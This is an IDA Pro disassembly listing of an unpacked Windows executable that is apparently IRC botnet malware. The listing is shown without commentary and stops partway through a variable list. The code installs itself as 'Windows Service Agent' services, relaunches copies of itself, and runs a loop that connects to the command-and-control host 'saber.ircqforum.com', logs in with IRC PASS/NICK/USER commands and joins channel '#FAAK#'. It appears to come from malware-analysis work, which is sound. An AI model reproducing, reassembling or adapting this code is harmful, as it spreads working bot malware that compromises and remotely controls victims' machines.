;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; | This file is generated by The Interactive Disassembler (IDA) |
; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> |
; | Licensed to: SRI, 1 computer, std, 05/2007 |
; +-------------------------------------------------------------------------+
;
; Input MD5 : 8B71E371E5EC44F273957E5378816B69
; File Name : u:\work\8b71e371e5ec44f273957e5378816b69_unpacked.exe
; Format : Portable executable for 80386 (PE)
; Imagebase : 400000
; Section 1. (virtual address 00001000)
; Virtual size : 000DB000 ( 897024.)
; Section size in file : 000DB000 ( 897024.)
; Offset to raw data for section: 00001000
; Flags C0000040: Data Readable Writable
; Alignment : default
unicode macro page,string,zero
irpc c,<string>
db '&c', page
endm
ifnb <zero>
dw zero
endif
endm
.686p
.mmx
.model flat
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write
___ segment para public 'DATA' use32
assume cs:___
;org 401000h
assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401000 proc near ; CODE XREF: ___:00401576p
; sub_418857+1Ep
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, offset dword_429050
xor esi, esi
mov ebx, offset aWindowsService ; "Windows Service Agent"
loc_401013: ; CODE XREF: sub_401000+69j
lea eax, [ebp+var_4]
push esi
push eax
push esi
push 0F003Fh
push esi
push esi
push esi
push dword ptr [edi+4]
push dword ptr [edi]
call dword_4C92B8
cmp [ebp+arg_0], esi
jz short loc_40104D
push [ebp+arg_0]
call sub_41B960
pop ecx
push eax
push [ebp+arg_0]
push 1
push esi
push ebx
push [ebp+var_4]
call dword_4C9328
jmp short loc_401057
; ---------------------------------------------------------------------------
loc_40104D: ; CODE XREF: sub_401000+2Fj
push ebx
push [ebp+var_4]
call dword_4C9268
loc_401057: ; CODE XREF: sub_401000+4Bj
push [ebp+var_4]
call dword_4C92E0
add edi, 8
cmp edi, offset dword_429068
jl short loc_401013
pop edi
pop esi
pop ebx
leave
retn
sub_401000 endp
; =============== S U B R O U T I N E =======================================
sub_401070 proc near ; CODE XREF: sub_4010AB+56p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_4]
mov edx, [esp+arg_0]
push esi
or esi, 0FFFFFFFFh
test eax, eax
jz short loc_4010A5
push ebx
push edi
lea edi, [eax]
mov ecx, 0FFh
loc_401089: ; CODE XREF: sub_401070+31j
mov al, [edx]
mov ebx, esi
and eax, ecx
and ebx, ecx
xor eax, ebx
shr esi, 8
mov eax, dword_427238[eax*4]
xor esi, eax
inc edx
dec edi
jnz short loc_401089
pop edi
pop ebx
loc_4010A5: ; CODE XREF: sub_401070+Ej
mov eax, esi
pop esi
not eax
retn
sub_401070 endp
; =============== S U B R O U T I N E =======================================
sub_4010AB proc near ; CODE XREF: ___:0041699Ep
var_10 = dword ptr -10h
arg_0 = dword ptr 4
push ebx
push esi
xor ebx, ebx
push edi
push ebx
call sub_41BC9B
mov [esp+10h+var_10], offset dword_429068
push [esp+10h+arg_0]
mov esi, eax
call sub_41BC88
mov edi, eax
pop ecx
test edi, edi
pop ecx
jz short loc_4010FA
loc_4010D0: ; CODE XREF: sub_4010AB+4Dj
test byte ptr [edi+0Ch], 10h
jnz short loc_4010FE
inc ebx
push ebx
push esi
call sub_41BB48
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_4010FA
push edi
push 1
lea eax, [esi+ebx-1]
push 1
push eax
call sub_41BA60
add esp, 10h
jmp short loc_4010D0
; ---------------------------------------------------------------------------
loc_4010FA: ; CODE XREF: sub_4010AB+23j
; sub_4010AB+39j
xor eax, eax
jmp short loc_401119
; ---------------------------------------------------------------------------
loc_4010FE: ; CODE XREF: sub_4010AB+29j
dec ebx
push ebx
push esi
call sub_401070
push esi
mov ebx, eax
call sub_41BA31
push edi
call sub_41B9DB
add esp, 10h
mov eax, ebx
loc_401119: ; CODE XREF: sub_4010AB+51j
pop edi
pop esi
pop ebx
retn
sub_4010AB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40111D proc near ; DATA XREF: ___:00401235o
var_268 = dword ptr -268h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43C24C
call dword_4C939C
call sub_40B576
call dword_4C925C
call dword_4C925C
mov ebx, dword_427088
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_41BD10
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_41BD10
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_43B4B8
mov [ebp+var_28], 1
mov [ebp+var_24], di
nop
call near ptr 2680000h
lea eax, [ebp+var_158]
push esi
push eax
push edi
nop
call near ptr 2670000h
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call near ptr 26603BDh
nop
test eax, eax
jz short loc_4011E2
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_427078
call esi
push [ebp+var_C]
call esi
loc_4011E2: ; CODE XREF: sub_40111D+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43B4B0
mov eax, [esp+268h+var_268]
mov large fs:0, eax
add esp, 8
push edi
call near ptr 77E75CB5h
nop
pop edi
pop esi
pop ebx
loc_401205: ; DATA XREF: ___:00429004o
jmp $+5
push 0FFFFh
push 539h
call sub_418B82
pop ecx
mov dword_4C9040, eax
pop ecx
retn
sub_40111D endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp-8], ebx
mov [ebp-0Ch], ebx
mov dword ptr [ebp-4], offset sub_40111D
push dword ptr [ebp-4]
push large dword ptr fs:0
mov large fs:0, esp
mov esi, dword_4270B8
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_4C9044, eax
call esi
push eax
call sub_41C058
pop ecx
call sub_4098FD
push 2
call dword_4C93B0
push 7530h
push offset a1221 ; "1221"
push ebx
push ebx
nop
call near ptr 26A0000h
push eax
nop
call near ptr 2690830h
cmp eax, 102h
jnz short loc_4012A1
push 1
nop
call near ptr 77E75CB5h
loc_4012A1: ; CODE XREF: ___:00401297j
lea eax, [ebp-884h]
push eax
push 202h
call dword_4C9274
cmp eax, ebx
jnz loc_4017DE
cmp byte ptr [ebp-884h], 2
jnz loc_4017D8
xor eax, eax
mov al, [ebp-883h]
cmp al, 2
jnz loc_4017D8
mov esi, 104h
lea eax, [ebp-3F0h]
push esi
push eax
nop
call near ptr 2680000h
lea eax, [ebp-2ECh]
push esi
push eax
push ebx
nop
call near ptr 26906BCh
push eax
nop
call near ptr 2670000h
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push ebx
lea eax, [ebp-2ECh]
push ebx
push eax
call sub_41C151
lea eax, [ebp-4F0h]
push eax
lea eax, [ebp-6F4h]
push eax
push offset dword_429ACC
lea eax, [ebp-5F4h]
push esi
push eax
call sub_41C100
lea eax, [ebp-3F0h]
push eax
lea eax, [ebp-2ECh]
push eax
call sub_41C080
add esp, 30h
test eax, eax
jnz loc_401513
cmp dword_4C91B0, ebx
mov esi, offset byte_429108
jz short loc_401399
push esi
xor edi, edi
call sub_41B960
sub eax, 4
pop ecx
jz short loc_401399
loc_401376: ; CODE XREF: ___:00401397j
call sub_41C062
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_429108[edi], dl
inc edi
call sub_41B960
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_401376
loc_401399: ; CODE XREF: ___:00401366j
; ___:00401374j
lea eax, [ebp-3F0h]
push esi
push eax
lea eax, [ebp-1E8h]
push offset dword_429AC4
push eax
call sub_41C006
add esp, 10h
lea eax, [ebp-1E8h]
push eax
call near ptr 269058Ah
nop
cmp eax, 0FFFFFFFFh
jz short loc_4013D9
lea eax, [ebp-1E8h]
push 80h
push eax
nop
call near ptr 2690408h
loc_4013D9: ; CODE XREF: ___:004013C5j
mov esi, dword_4270A0
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
xor edi, edi
push eax
loc_4013F0: ; CODE XREF: ___:00401427j
call esi
test eax, eax
jnz short loc_401429
nop
call near ptr 2680DCDh
cmp edi, ebx
jnz short loc_401429
cmp eax, 20h
jz short loc_40140A
cmp eax, 5
jnz short loc_401429
loc_40140A: ; CODE XREF: ___:00401403j
push 1
pop edi
push 3A98h
nop
call near ptr 268051Bh
lea eax, [ebp-1E8h]
push ebx
push eax
lea eax, [ebp-2ECh]
push eax
jmp short loc_4013F0
; ---------------------------------------------------------------------------
loc_401429: ; CODE XREF: ___:004013F4j
; ___:004013FEj ...
lea eax, [ebp-1E8h]
push eax
call sub_418791
pop ecx
lea eax, [ebp-1E8h]
push 7
push eax
call near ptr 2690408h
nop
push 10h
lea eax, [ebp-20h]
push ebx
push eax
call sub_41BD10
push 44h
lea eax, [ebp-0E4h]
pop esi
push esi
push ebx
push eax
call sub_41BD10
add esp, 18h
mov [ebp-0E4h], esi
mov dword ptr [ebp-0D8h], offset byte_43B4B8
mov [ebp-0B4h], bx
push 1
pop esi
mov [ebp-0B8h], esi
call near ptr 2680D91h
nop
push eax
push esi
push 100000h
call near ptr 2680883h
nop
lea ecx, [ebp-2ECh]
push ecx
push eax
lea eax, [ebp-1E8h]
push eax
lea eax, [ebp-988h]
push offset dword_429AB8
push eax
call sub_41C006
add esp, 14h
lea eax, [ebp-20h]
push eax
lea eax, [ebp-0E4h]
push eax
lea eax, [ebp-3F0h]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp-988h]
push ebx
push eax
lea eax, [ebp-1E8h]
push eax
nop
call near ptr 26603BDh
test eax, eax
jz short loc_401513
push 0C8h
nop
call near ptr 268051Bh
push dword ptr [ebp-20h]
mov esi, dword_427078
call esi
push dword ptr [ebp-1Ch]
call esi
call dword_4C925C
push ebx
nop
call near ptr 77E75CB5h
loc_401513: ; CODE XREF: ___:00401355j
; ___:004014E9j
cmp dword_4D9730, 2
jle short loc_40155F
mov eax, dword_4D9734
push dword ptr [eax+4]
call sub_41BEF9
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
nop
call near ptr 2690830h
push esi
nop
call near ptr 2660000h
mov eax, dword_4D9734
cmp [eax+8], ebx
jz short loc_40155F
push 7D0h
nop
call near ptr 268051Bh
mov eax, dword_4D9734
push dword ptr [eax+8]
call near ptr 26807FFh
nop
loc_40155F: ; CODE XREF: ___:0040151Aj
; ___:00401544j
cmp dword_42908C, ebx
jz short loc_40157C
cmp dword_4C93D4, ebx
jnz short loc_40157C
lea eax, [ebp-5F4h]
push eax
call sub_401000
pop ecx
loc_40157C: ; CODE XREF: ___:00401565j
; ___:0040156Dj
lea eax, [ebp-0A0h]
push offset dword_429A9C
push eax
call sub_41C006
push ebx
lea eax, [ebp-0A0h]
push ebx
push eax
call sub_40B3AD
lea eax, [ebp-0A0h]
push eax
call sub_415CEE
push 0B80h
push ebx
push offset dword_43B4C0
call sub_41BD10
lea eax, [ebp-0A0h]
push offset unk_429A78
push eax
call sub_41C006
push ebx
lea eax, [ebp-0A0h]
push 1
push eax
call sub_40B3AD
add esp, 38h
mov esi, eax
mov edi, dword_42708C
lea eax, [ebp-8]
push eax
push ebx
push ebx
push offset word_419EEE
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43C254[esi], eax
jnz short loc_40161C
call near ptr 2680DCDh
nop
push eax
lea eax, [ebp-0A0h]
push offset unk_429A38
push eax
call sub_41C006
add esp, 0Ch
loc_40161C: ; CODE XREF: ___:004015FFj
lea eax, [ebp-0A0h]
push eax
call sub_415CEE
push 2
call sub_40B5F5
pop ecx
test eax, eax
pop ecx
jnz short loc_4016A1
lea eax, [ebp-0A0h]
push offset dword_429A0C
push eax
call sub_41C006
push ebx
lea eax, [ebp-0A0h]
push 2
push eax
call sub_40B3AD
add esp, 14h
mov esi, eax
lea eax, [ebp-8]
push eax
push ebx
push esi
push offset loc_410BBE
push ebx
push ebx
call edi
imul esi, 234h
cmp eax, ebx
mov dword_43C254[esi], eax
jnz short loc_401694
nop
call near ptr 2680DCDh
push eax
lea eax, [ebp-0A0h]
push offset dword_4299D8
push eax
call sub_41C006
add esp, 0Ch
loc_401694: ; CODE XREF: ___:00401677j
lea eax, [ebp-0A0h]
push eax
call sub_415CEE
pop ecx
loc_4016A1: ; CODE XREF: ___:00401633j
call sub_41C062
push 7Fh
and eax, 3
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4C904C
mov dword_4C91B8, eax
call sub_41BD70
mov eax, dword_42906C
push 3Fh
mov edi, offset dword_4C90CC
push offset dword_4290D4
push edi
mov dword_4C919C, eax
call sub_41BD70
push 3Fh
mov esi, offset dword_4C910C
push offset dword_4290DC
push esi
call sub_41BD70
add esp, 24h
mov dword_4C91A0, ebx
loc_4016F6: ; CODE XREF: ___:0040177Ej
; ___:00401789j ...
mov [ebp-4], ebx
loc_4016F9: ; CODE XREF: ___:00401732j
push offset dword_4C9048
mov dword_4C91B4, ebx
call sub_4017E7
cmp eax, 2
mov [ebp-10h], eax
jz loc_4017D3
cmp dword_4C91B4, ebx
jz short loc_401720
dec dword ptr [ebp-4]
loc_401720: ; CODE XREF: ___:0040171Bj
push 0BB8h
call near ptr 268051Bh
nop
inc dword ptr [ebp-4]
cmp dword ptr [ebp-4], 6
jl short loc_4016F9
cmp dword ptr [ebp-10h], 2
jz loc_4017D3
cmp [ebp-0Ch], ebx
jz short loc_401783
push 7Fh
push offset aSaber_ircqforu ; "saber.ircqforum.com"
push offset dword_4C904C
call sub_41BD70
mov eax, dword_42906C
push 3Fh
push offset dword_4290D4
push edi
mov dword_4C919C, eax
call sub_41BD70
push 3Fh
push offset dword_4290DC
push esi
call sub_41BD70
add esp, 24h
mov [ebp-0Ch], ebx
jmp loc_4016F6
; ---------------------------------------------------------------------------
loc_401783: ; CODE XREF: ___:00401741j
cmp byte_4290E4, bl
jz loc_4016F6
push 7Fh
push offset byte_4290E4
push offset dword_4C904C
call sub_41BD70
mov eax, dword_429070
push 3Fh
push offset aFaak ; "#FAAK#"
push edi
mov dword_4C919C, eax
call sub_41BD70
push 3Fh
push offset aSaad_ ; "saad."
push esi
call sub_41BD70
add esp, 24h
mov dword ptr [ebp-0Ch], 1
jmp loc_4016F6
; ---------------------------------------------------------------------------
loc_4017D3: ; CODE XREF: ___:0040170Fj
; ___:00401738j
call sub_40B576
loc_4017D8: ; CODE XREF: ___:004012C2j
; ___:004012D2j
call dword_4C925C
loc_4017DE: ; CODE XREF: ___:004012B5j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4017E7 proc near ; CODE XREF: ___:00401704p
; DATA XREF: sub_401AC7+658Ao
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40180C: ; CODE XREF: sub_4017E7+E6j
; sub_4017E7+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BD10
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_4C9304
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A8E4
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_401939
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BD10
push 0
lea eax, [ebp+var_2C]
push dword_42909C
push dword_429098
push eax
call sub_40AE77
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43C258
push edi
push eax
call sub_41BD70
add esp, 28h
push 6
push 1
push 2
call dword_4C9384
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43C24C[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_4C92AC
cmp eax, 0FFFFFFFFh
jnz short loc_4018D2
push esi
call dword_4C939C
call sub_40A90D
push 7D0h
loc_4018C7: ; CODE XREF: sub_4017E7+146j
call near ptr 268051Bh
nop
jmp loc_40180C
; ---------------------------------------------------------------------------
loc_4018D2: ; CODE XREF: sub_4017E7+CDj
lea eax, [ebp+var_18C]
push eax
push offset unk_429AD4
call sub_415D62
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40194F
add esp, 28h
mov edi, eax
push esi
call dword_4C939C
test edi, edi
jz loc_40180C
cmp edi, 1
jnz short loc_40192F
push 0DBBA0h
jmp short loc_4018C7
; ---------------------------------------------------------------------------
loc_40192F: ; CODE XREF: sub_4017E7+13Fj
cmp edi, 2
jz short loc_40193D
jmp loc_40180C
; ---------------------------------------------------------------------------
loc_401939: ; CODE XREF: sub_4017E7+5Aj
xor eax, eax
jmp short loc_401949
; ---------------------------------------------------------------------------
loc_40193D: ; CODE XREF: sub_4017E7+14Bj
push [ebp+var_34]
call sub_40B6C9
pop ecx
push 2
pop eax
loc_401949: ; CODE XREF: sub_4017E7+154j
pop edi
pop esi
leave
retn 4
sub_4017E7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40194F proc near ; CODE XREF: sub_4017E7+123p
var_1A90 = byte ptr -1A90h
var_A90 = byte ptr -0A90h
var_2C0 = byte ptr -2C0h
var_140 = byte ptr -140h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A90h
call sub_41C2A0
push ebx
push esi
push edi
xor ebx, ebx
push 3
mov [ebp+var_8], ebx
lea eax, [ebp+var_2C0]
pop ecx
loc_40196D: ; CODE XREF: sub_40194F+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40196D
cmp byte_4290D0, bl
jz short loc_401994
push offset byte_4290D0
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_40981C
add esp, 0Ch
loc_401994: ; CODE XREF: sub_40194F+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_40AE77
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_41C006
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_41B960
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_4C9354
cmp eax, 0FFFFFFFFh
jnz short loc_4019FE
push [ebp+arg_0]
call dword_4C939C
push 1388h
nop
call near ptr 268051Bh
loc_4019F7: ; CODE XREF: sub_40194F+D9j
; sub_40194F+153j
xor eax, eax
loc_4019F9: ; CODE XREF: sub_40194F+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4019FE: ; CODE XREF: sub_40194F+92j
; sub_40194F+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A90]
push esi
push ebx
push eax
call sub_41BD10
add esp, 0Ch
lea eax, [ebp+var_1A90]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_4C931C
test eax, eax
jle short loc_4019F7
lea eax, [ebp+var_A90]
push eax
lea eax, [ebp+var_1A90]
push eax
call sub_41847D
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_4019FE
lea edi, [ebp+var_A90]
loc_401A4F: ; CODE XREF: sub_40194F+165j
push 1
pop esi
loc_401A52: ; CODE XREF: sub_40194F+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_140]
push eax
lea eax, [ebp+var_2C0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_401AC7
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_401A95
push 7D0h
nop
call near ptr 268051Bh
jmp short loc_401A52
; ---------------------------------------------------------------------------
loc_401A95: ; CODE XREF: sub_40194F+137j
cmp esi, 0FFFFFFFDh
jz short loc_401ABF
cmp esi, 0FFFFFFFEh
jz short loc_401ABB
cmp esi, 0FFFFFFFFh
jz loc_4019F7
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_401A4F
jmp loc_4019FE
; ---------------------------------------------------------------------------
loc_401ABB: ; CODE XREF: sub_40194F+14Ej
push 1
jmp short loc_401AC1
; ---------------------------------------------------------------------------
loc_401ABF: ; CODE XREF: sub_40194F+149j
push 2
loc_401AC1: ; CODE XREF: sub_40194F+16Ej
pop eax
jmp loc_4019F9
sub_40194F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_401AC7 proc near ; CODE XREF: sub_40194F+12Ap
var_568C = byte ptr -568Ch
var_528C = byte ptr -528Ch
var_50FC = byte ptr -50FCh
var_4FF8 = byte ptr -4FF8h
var_4EF8 = byte ptr -4EF8h
var_4CF8 = byte ptr -4CF8h
var_4BF8 = byte ptr -4BF8h
var_4AF4 = byte ptr -4AF4h
var_49F4 = byte ptr -49F4h
var_48F0 = byte ptr -48F0h
var_47F0 = byte ptr -47F0h
var_46F0 = byte ptr -46F0h
var_45F0 = byte ptr -45F0h
var_458C = byte ptr -458Ch
var_448C = byte ptr -448Ch
var_438C = byte ptr -438Ch
var_428C = byte ptr -428Ch
var_408C = byte ptr -408Ch
var_3F8C = dword ptr -3F8Ch
var_3F88 = byte ptr -3F88h
var_3F08 = byte ptr -3F08h
var_3E04 = byte ptr -3E04h
var_3D00 = dword ptr -3D00h
var_3CFC = dword ptr -3CFCh
var_3CF8 = dword ptr -3CF8h
var_3CF4 = dword ptr -3CF4h
var_3CF0 = dword ptr -3CF0h
var_3CEC = dword ptr -3CECh
var_3CE8 = byte ptr -3CE8h
var_3C68 = byte ptr -3C68h
var_3BE8 = byte ptr -3BE8h
var_3B68 = byte ptr -3B68h
var_3AE8 = byte ptr -3AE8h
var_3A68 = dword ptr -3A68h
var_3A64 = dword ptr -3A64h
var_3A60 = dword ptr -3A60h
var_3A5C = dword ptr -3A5Ch
var_3A58 = byte ptr -3A58h
var_37D1 = byte ptr -37D1h
var_37D0 = byte ptr -37D0h
var_36CC = dword ptr -36CCh
var_36C4 = dword ptr -36C4h
var_36C0 = dword ptr -36C0h
var_36BC = dword ptr -36BCh
var_36B8 = dword ptr -36B8h
var_36B0 = dword ptr -36B0h
var_36AC = dword ptr -36ACh
var_36A8 = byte ptr -36A8h
var_3628 = byte ptr -3628h
var_35A8 = byte ptr -35A8h
var_3528 = byte ptr -3528h
var_34A8 = dword ptr -34A8h
var_34A4 = dword ptr -34A4h
var_34A0 = dword ptr -34A0h
var_349C = dword ptr -349Ch
var_3498 = dword ptr -3498h
var_3494 = byte ptr -3494h
var_3414 = byte ptr -3414h
var_3394 = byte ptr -3394h
var_3314 = byte ptr -3314h
var_3294 = dword ptr -3294h
var_3290 = dword ptr -3290h
var_328C = dword ptr -328Ch
var_3288 = dword ptr -3288h
var_3284 = dword ptr -3284h
var_3280 = byte ptr -3280h
var_3200 = byte ptr -3200h
var_3180 = byte ptr -3180h
var_3100 = byte ptr -3100h
var_3080 = dword ptr -3080h
var_307C = dword ptr -307Ch
var_3078 = dword ptr -3078h
var_3074 = dword ptr -3074h
var_3070 = dword ptr -3070h
var_306C = byte ptr -306Ch
var_2FEC = byte ptr -2FECh
var_2F6C = byte ptr -2F6Ch
var_2EEC = byte ptr -2EECh
var_2E6C = dword ptr -2E6Ch
var_2E68 = dword ptr -2E68h
var_2E64 = dword ptr -2E64h
var_2E60 = dword ptr -2E60h
var_2E5C = byte ptr -2E5Ch
var_2D58 = dword ptr -2D58h
var_2D54 = byte ptr -2D54h
var_2C50 = byte ptr -2C50h
var_2B4C = dword ptr -2B4Ch
var_2B48 = dword ptr -2B48h
var_2B44 = dword ptr -2B44h
var_2B40 = byte ptr -2B40h
var_2AC0 = dword ptr -2AC0h
var_2ABC = dword ptr -2ABCh
var_2AB8 = dword ptr -2AB8h
var_2AB4 = dword ptr -2AB4h
var_2AAC = byte ptr -2AACh
var_2994 = byte ptr -2994h
var_2914 = dword ptr -2914h
var_2910 = dword ptr -2910h
var_290C = dword ptr -290Ch
var_2908 = dword ptr -2908h
var_2904 = dword ptr -2904h
var_2900 = dword ptr -2900h
var_28FC = byte ptr -28FCh
var_287C = byte ptr -287Ch
var_277C = byte ptr -277Ch
var_267C = dword ptr -267Ch
var_2678 = dword ptr -2678h
var_2674 = dword ptr -2674h
var_2670 = dword ptr -2670h
var_266C = dword ptr -266Ch
var_2668 = dword ptr -2668h
var_2664 = dword ptr -2664h
var_2660 = dword ptr -2660h
var_265C = dword ptr -265Ch
var_2658 = dword ptr -2658h
var_2654 = byte ptr -2654h
var_25D4 = byte ptr -25D4h
var_24D4 = byte ptr -24D4h
var_23D4 = dword ptr -23D4h
var_23D0 = dword ptr -23D0h
var_23CC = dword ptr -23CCh
var_23C8 = dword ptr -23C8h
var_23C4 = dword ptr -23C4h
var_23C0 = dword ptr -23C0h
var_23BC = dword ptr -23BCh
var_23B8 = dword ptr -23B8h
var_23B4 = dword ptr -23B4h
var_23B0 = dword ptr -23B0h
var_23AC = byte ptr -23ACh
var_232C = byte ptr -232Ch
var_22AC = byte ptr -22ACh
var_222C = dword ptr -222Ch
var_2228 = dword ptr -2228h
var_2224 = dword ptr -2224h
var_2220 = dword ptr -2220h
var_221C = dword ptr -221Ch
var_2218 = byte ptr -2218h
var_2198 = byte ptr -2198h
var_2118 = byte ptr -2118h
var_2098 = dword ptr -2098h
var_2094 = dword ptr -2094h
var_2090 = dword ptr -2090h
var_208C = dword ptr -208Ch
var_2088 = dword ptr -2088h
var_2084 = byte ptr -2084h
var_2004 = byte ptr -2004h
var_1F84 = byte ptr -1F84h
var_1F04 = dword ptr -1F04h
var_1F00 = dword ptr -1F00h
var_1EFC = dword ptr -1EFCh
var_1EF8 = dword ptr -1EF8h
var_1EF4 = dword ptr -1EF4h
var_1EF0 = byte ptr -1EF0h
var_1DF0 = byte ptr -1DF0h
var_1D70 = dword ptr -1D70h
var_1D68 = dword ptr -1D68h
var_1D64 = dword ptr -1D64h
var_1D60 = dword ptr -1D60h
var_1D5C = dword ptr -1D5Ch
var_1D58 = dword ptr -1D58h
var_1D54 = dword ptr -1D54h
var_1D4C = byte ptr -1D4Ch
var_1D38 = byte ptr -1D38h
var_1C34 = byte ptr -1C34h
var_1BB0 = dword ptr -1BB0h
var_1BAC = dword ptr -1BACh
var_1BA8 = dword ptr -1BA8h
var_1BA4 = dword ptr -1BA4h
var_1BA0 = dword ptr -1BA0h
var_1B98 = byte ptr -1B98h
var_1B84 = byte ptr -1B84h
var_1A80 = byte ptr -1A80h
var_1A00 = dword ptr -1A00h
var_19FC = dword ptr -19FCh
var_19F8 = dword ptr -19F8h
var_19F4 = dword ptr -19F4h
var_19F0 = dword ptr -19F0h
var_19EC = dword ptr -19ECh
var_19E8 = byte ptr -19E8h
var_1968 = byte ptr -1968h
var_1928 = byte ptr -1928h
var_1828 = dword ptr -1828h
var_1824 = dword ptr -1824h
var_1818 = dword ptr -1818h
var_1814 = dword ptr -1814h
var_1810 = dword ptr -1810h
var_180C = byte ptr -180Ch
var_17D4 = byte ptr -17D4h
var_17B8 = byte ptr -17B8h
var_1780 = byte ptr -1780h
var_177C = byte ptr -177Ch
var_16FC = byte ptr -16FCh
var_16BC = byte ptr -16BCh
var_162C = dword ptr -162Ch
var_1628 = dword ptr -1628h
var_1624 = dword ptr -1624h
var_1620 = dword ptr -1620h
var_161C = dword ptr -161Ch
var_1618 = byte ptr -1618h
var_1598 = byte ptr -1598h
var_1518 = dword ptr -1518h
var_1514 = dword ptr -1514h
var_1510 = dword ptr -1510h
var_150C = dword ptr -150Ch
var_1508 = byte ptr -1508h
var_14F8 = byte ptr -14F8h
var_1478 = byte ptr -1478h
var_13F8 = dword ptr -13F8h
var_13F0 = dword ptr -13F0h
